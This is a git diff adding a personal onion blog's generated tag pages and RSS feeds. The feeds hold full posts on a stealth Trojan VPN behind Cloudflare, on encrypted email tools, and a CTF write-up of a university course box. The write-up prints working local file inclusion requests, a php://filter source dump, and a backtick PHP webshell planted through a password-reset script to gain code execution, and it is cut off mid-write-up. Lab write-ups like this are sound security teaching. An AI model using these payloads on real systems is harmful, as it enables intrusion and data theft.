    diff --git a/public-onion/tags/tor/page/1/index.html b/public-onion/tags/tor/page/1/index.html new file mode 100644 index 0000000..edd31b8 --- /dev/null +++ b/public-onion/tags/tor/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/ + + + + + + diff --git a/public-onion/tags/trojan/index.html b/public-onion/tags/trojan/index.html new file mode 100644 index 0000000..20acea7 --- /dev/null +++ b/public-onion/tags/trojan/index.html @@ -0,0 +1,356 @@ + + + + + + + +Trojan | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/trojan/index.xml b/public-onion/tags/trojan/index.xml new file mode 100644 index 0000000..395bd75 --- /dev/null +++ b/public-onion/tags/trojan/index.xml @@ -0,0 +1,195 @@ + + + + Trojan on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/ + Recent content in Trojan on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 09 Sep 2025 11:05:00 +0200 + + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/trojan/page/1/index.html b/public-onion/tags/trojan/page/1/index.html new file mode 100644 index 0000000..5a6bf71 --- /dev/null +++ b/public-onion/tags/trojan/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/ + + + + + + diff --git a/public-onion/tags/tuta/index.html b/public-onion/tags/tuta/index.html new file mode 100644 index 0000000..2528b42 --- /dev/null +++ b/public-onion/tags/tuta/index.html @@ -0,0 +1,352 @@ + + + + + + + +Tuta | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/tuta/index.xml b/public-onion/tags/tuta/index.xml new file mode 100644 index 0000000..505a26f --- /dev/null +++ b/public-onion/tags/tuta/index.xml @@ -0,0 +1,177 @@ + + + + Tuta on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuta/ + Recent content in Tuta on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/tuta/page/1/index.html b/public-onion/tags/tuta/page/1/index.html new file mode 100644 index 0000000..c2dfd07 --- /dev/null +++ b/public-onion/tags/tuta/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuta/ + + + + + + diff --git a/public-onion/tags/tuwien/index.html b/public-onion/tags/tuwien/index.html new file mode 100644 index 0000000..7dc961f --- /dev/null +++ b/public-onion/tags/tuwien/index.html @@ -0,0 +1,352 @@ + + + + + + + +Tuwien | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/tuwien/index.xml b/public-onion/tags/tuwien/index.xml new file mode 100644 index 0000000..df16d2e --- /dev/null +++ b/public-onion/tags/tuwien/index.xml @@ -0,0 +1,379 @@ + + + + Tuwien on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tuwien/ + Recent content in Tuwien on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

